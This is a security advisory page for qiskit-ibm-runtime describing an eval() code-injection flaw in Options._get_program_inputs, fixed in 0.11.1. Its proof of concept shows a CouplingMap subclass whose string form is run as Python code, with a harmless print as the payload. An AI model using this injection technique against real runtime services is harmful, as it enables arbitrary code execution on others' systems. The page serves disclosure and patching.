Baja

Dynamic Variable Evaluation in qiskit-ibm-runtime

  • Publicada: 20.03.2024
  • Actualizado: 11.10.2026 12:18

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

python
from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

python
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) qiskit-ibm-runtime >= 0.11.0, < 0.11.1 0.11.1

Referencias

Puntuación CVSS 2.8/10
Vector CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
Debilidad (CWE)
CWE-627
Plataforma
Python (PyPI)
Paquete
qiskit-ibm-runtime
Publicada
20.03.2024
Actualizado
11.10.2026 12:18

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-cq96-9974-v8hm - CC BY 4.0

Historial de vulnerabilidades: qiskit-ibm-runtime

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
03.2024 03.2024
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Media 1
  • Baja 1

Divulgaciones por año

  1. 2024: 2
  2. 2025: 0
  3. 2026: 0
  1. Media · 5.3 CVE-2024-29032 >= 0.1.0, < 0.21.2 0.21.2
  2. Dynamic Variable Evaluation in qiskit-ibm-runtime esta entrada
    Baja · 2.8 ghsa-cq96-9974-v8hm >= 0.11.0, < 0.11.1 0.11.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.